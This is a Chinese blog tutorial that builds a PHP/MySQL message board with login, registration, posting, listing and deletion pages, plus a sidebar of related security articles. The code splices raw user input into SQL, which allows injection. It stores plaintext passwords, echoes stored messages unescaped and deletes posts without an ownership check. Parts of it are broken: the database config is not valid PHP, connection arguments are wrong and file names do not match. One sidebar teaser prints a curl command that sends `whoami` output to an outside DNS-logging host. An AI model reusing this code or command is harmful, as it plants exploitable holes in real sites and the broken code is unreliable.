准备(由于本人前端人员,页面优化未作处理,可随喜好自行添加css样式)

  • 数据库两个 一个用来储存用户信息,一个用来存储留言信息

首先给大家展示下效果图

1.下面就开始我留言板制作:首先设计我们登陆页面,首先我们需要搭建一个登录页面,denglu.php如下图,

denglu.php前端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<body bgcolor="#7fffd4">
<center>
<h1>用户登录</h1>
<hr color="" width="80%"><br>
<form action="dodenglu.php" method="post">

用户名 :<input type="text" name="uid" placeholder="请输入账户"><br><br>
密码:<input type="text" name="password" placeholder="请输入密码"><br><br>
<hr color="" width="80%"><br>

<input type="submit" value="登陆" >

<input type="button" value='注册' onclick="location.href='zhuce.php'">

</center>
</form>

</body>

然后编写做登录页面dodenglu.php的后端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php


require_once "connet.php";
require_once "mysqlconfig.php";
$id=$_POST['uid'];
session_start();
$_SESSION["uid"]=$id;
$password=$_POST['password'];
$ma1=new DB();
$link=$ma1->connect();
$sql="select *from yonghu where username='$id'and password='$password'";
$row=$ma1->CheckUser($link,$sql);
if ($row){
header("location:liuyan.php");
};
if (!$row){
echo "<script>alert('登录失败,账号密码错误');location='denglu.php'</script>";
}

然后是我们注册页面zhuce.php如图,

前端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
body>
<center>
<h1>用户注册</h1>
<hr>
<form action="dozhuce.php " method="post">
用户名 :<input type="text" name="id" placeholder="请输入账户"><br><br>
密码:<input type="text" name="password" placeholder="密码"><br><br>


<input type="submit" value="注册" >
<input type="button" value='返回' onclick="location.href='denglu.php'">
</form>
</center>
</body>

前端后台运行代码dozhuce.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

require_once "connet.php";
require_once "mysqlconfig.php";
$ma1=new DB();
$link=$ma1->connect();
$id=$_POST['id'];
$password=$_POST['password'];

if ($id!=null&&$password!=null){
$ma =new DB();
$link=$ma->connect();
$sql="insert into yonghu (username,password) values('$id','$password')";
// for($i=0;$i<count($result);$i++){
if(mysqli_query($link,$sql)){
echo "<script>alert('注册成功');location='zhuce.php';</script>";
}else {
echo "<script>alert('注册失败,请输入账号密码');location='zhuce.php';</script>";
}
}

然后进入我们留言页面liuyan.php,如图,

前端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<head>
<meta charset="UTF-8">
<title>Title</title>

</head>
<body bgcolor="#7fffd4" >
<center>
<h1>留言板</h1>

<input type="button"value="添加留言" onclick="location.href='liuyan.php'" >
<input type="button"value="查看留言" onclick="location.href='show.php'" >
<input type="button"value="退出登录" onclick="location.href='denglu.php'" >
<hr width="70%">
<br>

<form action="addliuyan.php" method="post">
留言主题
<input type="text" name="title" placeholder="主题"><br><br>
你的名字
<input type="text" name="author" placeholder="名字"><br><br>
<span> 留言内容</span>
<textarea name="content"placeholder="内容"></textarea>
<br><br><hr width="70%">
<input type="submit" value="提交" class="submit">
<input type = "reset" value = "重置" class="reset">
</form>

</center>



</body>

运行界面addliuyan.php,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
/**
* Created by PhpStorm.
* User: 97364
* Date: 2019-03-30
* Time: 15:00
*/
session_start();
$id=$_SESSION["uid"];
$title=$_POST["title"];
$author=$_POST["author"];
$id=$_SESSION["uid"];

$content=$_POST["content"];
require_once "connet.php";
require_once 'mysqlconfig.php';
$ma1=new DB();

$link=$ma1->connect();
$sql="insert into liuyanban(id,user,title,author,liuyan,time )values ( null,'$id','$title','$author','$content',now())";
if ($title!=null){
if($author!=null){
$ressult=$ma1->insertl($link,$sql);
};
if ($author==null){
echo "<script>alert('请输入留言者!');location='liuyan.php';</script>";
}

}
if ($title==null){
echo "<script>alert('请输入留言标题!');location='liuyan.php';</script>";
}

然后是查看留言界面 show.php(因为php 前端和后台是可以混写的,这个页面写在了一起):

页面图片:

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
header('Content-type: text/html; charset=UTF8');
session_start();
$id=$_SESSION['uid'];
?>
<html>
<head>
<title>我的留言板.查看留言</title>
<link >
</head>
<body bgcolor="#7fffd4">
<center>
<form >
<h2 >我的留言板</h2>


<input type="button"value="添加留言" onclick="location.href='liuyan.php'" >

<input type="button"value="退出登录" onclick="location.href='denglu.php'" >
<hr width = "70%">

</form>


<table bgcolor="#adff2f" border="1" width="80%">
<thead>
<tr>
<th>序号</th>
<th>账户</th>
<th>标题</th>
<th>发布者</th>
<th>留言</th>
<th>时间</th>
<th>操作</th>

</tr>
</thead>

<?php

require_once "connet.php";
require_once "mysqlconfig.php";

$ma1=new DB();
$link=$ma1->connect();
$sql="select * from liuyanban where user='$id' ";
$res=mysqli_query($link,$sql);//执行语句
$news =array();//保存取出记录
$k=1;//id序号
while ($row=mysqli_fetch_array($res)){
//$news[]=$row ;

$idd=$row['id'];
echo "<tr>";
echo "<td>".($k)."</td>";
echo "<td>".$row['user']."</td>";
echo "<td>".$row['title']."</td>";
echo "<td>".$row['author']."</td>";
echo "<td>".$row['liuyan']."</td>";
echo "<td>".$row['time']."</td>";
echo "<td>"."<a href='del.php?id=$idd ' >删除</a>"."</td>";
echo "</tr>";
$k++;


}


//包含显示文件
?>


</table>
</center>

</body>
</html>

随后是我们做删除的代码del.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/**
* Created by PhpStorm.
* User: 97364
* Date: 2019-03-30
* Time: 23:03
*/
header('Content-type: text/html; charset=UTF8');
$id =isset($_GET['id'])?(integer)$_GET['id']:0; //接受页面传过来的ID
if ($id==0){
//
header('Refresh:2;url=show.php');
echo '当前要删除的留言不存在!';
exit;
}else{
require_once "connet.php";
require_once "mysqlconfig.php";
$ma1=new DB();
$link=$ma1->connect();
$sql ="delete from liuyanban where id=$id";
$res=mysqli_query($link,$sql);//执行删除语句
header('Refresh:2;url=show.php');//刷新当前页面
echo '当前留言删除成功';

}

数据库文件connect.php:

1
2
3
4
define('DB_HOST','localhost');
define('DB_USER','root');用户名
define('DB_PWD','123');密码
define('DB_DBNAME','boke','liuyanban')本地数据库 和表名

数据库配置文件mysqlconfig.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

class DB{
function connect(){
@$link=mysqli_connect(DB_HOST,DB_DBNAME,DB_PWD);//连接数据库
mysqli_select_db($link,DB_DBNAME)or die('数据库打开失败');//选择数据库
if (mysqli_connect_error())
{
die( '数据库连接失败:'.mysqli_connect_error());
}
return $link;
}
function insert($link,$sql){
if (mysqli_query($link,$sql)){
echo "<script language='javascript'>alert('注册成功!');location='denglu.php';</script>";
}else{
echo "数据插入失败:".$link->error;
}
}
function CheckUser($link,$sql){
$result=mysqli_query($link,$sql);
$row =mysqli_num_rows($result);
if ($row!=0){
return true;
}else{
return flase;
}
}
function insertl($link,$sql)
{
if (mysqli_query($link, $sql)) {
echo "<script language='javascript'>alert('留言成功');location='liuyan.php';</script>";
} else {
echo "数据插入失败:" . $link->error;
}
}

}

这是我本地数据库的配置:

相关文章
评论
分享
  • SSRF原理、操作演示及防御

    SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服...

    SSRF原理、操作演示及防御
  • CSRF原理及演示

    CSRF(Crosss Site Request Forgery,跨站请求伪造)是一种网络攻击方式,也被产称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF. CSRF漏洞是因...

    CSRF原理及演示
  • XSS的payload构造及变形

    通常进行XSS脚本攻击时,一般网站都是有防护措施的,比如过滤掉我们script,javascript,或者长度限制等等,这时需要我们对我们的脚本进 行简单的变形,打到我们的目的,下面是我对常见的一些变形的分类,以及部分操作演示1.使用...

    XSS的payload构造及变形
  • XSS漏洞利用和beef使用

    安装好的kail XSS漏洞环境(这里我用的是bWAPP,百度安装即可) 首先打开我们的kail,打开我们的beef工具: q切换到/usr/share/beef-xss或者输入如下代码启动: 1./beef 然后登陆...

    XSS漏洞利用和beef使用
  • 存储型xss-H5页面截取

    环境准备 一个有XSS漏洞的页面,或者搭建一个漏洞平台 注册一个线上的XSS漏洞测试平台(有能力可以自己搭) 1.首先我们需要搭建一个本地的漏洞测试平台,这里我用的事pikachu漏洞平台(https://github.com/...

    存储型xss-H5页面截取
  • 一句话木马及变形

    一句话木马变形 介绍:网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文件与网 站服务器WEB目录下正常的网页文件混在一起,使得可以通过使用浏览器来访问这些asp或者php 文件,从而得到一个命...

    一句话木马及变形
  • 文件包含漏洞和PHP伪协议

    文件包含的漏洞形成文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshel...

    文件包含漏洞和PHP伪协议
  • DNSLOG在盲注中的使用

    DNSLOG在盲注中的使用0x00 Command Execution i. *nix:12curl http://ip.port.b182oj.ceye.io/`whoami`ping `whoami`.ip.port.b182oj...

    DNSLOG在盲注中的使用
  • sql注入(二)

    报错注入、​ 报错函数(举例) ​ (1)extractvalue(参数1,参数2) ​ 从目标XML中返回查询的字符串,参数1 是string格式...

    sql注入(二)
  • sql注入(一)

    sql注入漏洞,主要介绍有以下几种 5.0mysql数据库特性 手工注入一般步骤 常用的万能密码 联和注入 基于布尔的盲注 基于时间的盲注 5.0mysql数据库特性information _schema 自带,系统库...

    sql注入(一)
Please check the comment setting in config.yml of hexo-theme-Annie!